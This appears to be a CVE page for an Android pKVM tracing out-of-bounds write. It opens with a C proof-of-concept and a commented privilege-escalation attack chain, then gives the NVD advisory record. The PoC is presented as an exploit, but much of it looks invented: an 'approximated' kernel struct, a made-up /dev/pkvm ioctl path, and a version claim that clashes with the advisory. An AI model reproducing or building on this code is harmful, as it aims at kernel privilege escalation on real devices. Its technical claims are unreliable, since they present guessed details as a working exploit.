CVE-2025-48638

// CVE-2025-48638 PoC - Android pkvm trace out-of-bounds write // This PoC demonstrates the vulnerability in __pkvm_load_tracing #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Kernel structure for pkvm tracing (approximation) struct pkvm_trace_args { unsigned long buffer_addr; unsigned long buffer_size; unsigned long trace_mask; char *user_buffer; }; #define PKVM_TRACE_SETUP _IOW('p', 1, struct pkvm_trace_args) int main(int argc, char *argv[]) { int fd; struct pkvm_trace_args args; printf("CVE-2025-48638 PoC - pkvm trace OOB write\n"); printf("Target: Android kernel < 5.15 with pkvm enabled\n\n"); // Open pkvm device (if accessible) fd = open("/dev/pkvm", O_RDWR); if (fd < 0) { printf("[!] Cannot open /dev/pkvm - may require root or specific kernel config\n"); printf("[!] This vulnerability requires local access with low privileges\n"); return 1; } // Prepare malicious input to trigger OOB write // The vulnerability is in improper input validation in __pkvm_load_tracing args.buffer_addr = 0x1000; // Arbitrary address args.buffer_size = 0x100; // Small buffer args.trace_mask = 0xFFFFFFFF; // Full trace mask args.user_buffer = malloc(0x200); memset(args.user_buffer, 0x41, 0x200); printf("[*] Sending malicious trace request...\n"); printf("[*] Buffer size: 0x%lx\n", args.buffer_size); printf("[*] Trace mask: 0x%lx\n", args.trace_mask); // Trigger the vulnerable code path long result = ioctl(fd, PKVM_TRACE_SETUP, &args); if (result < 0) { printf("[+] ioctl returned error - vulnerability may be present\n"); printf("[+] Check dmesg for kernel oops or memory corruption\n"); } else { printf("[*] Request processed, monitor for privilege escalation\n"); } close(fd); free(args.user_buffer); return 0; } /* * Attack Chain: * 1. Attacker with local low-privilege access * 2. Open pkvm device interface * 3. Send crafted ioctl request with invalid buffer parameters * 4. Trigger __pkvm_load_tracing with improper validation * 5. Achieve out-of-bounds write in kernel memory * 6. Overwrite critical kernel structures * 7. Escalate privileges to root/admin level */

{"cve": {"id": "CVE-2025-48638", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:19.847", "lastModified": "2025-12-08T20:15:51.997", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In __pkvm_load_tracing of trace.c, there is a possible out-of-bounds write due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://android.googlesource.com/kernel/common/+/0429b7af308cf65c84109c08d06b01950dcd57fe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://android.googlesource.com/kernel/common/+/96ebe96170d67df5072afa2ce84622f5a0ff552a", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}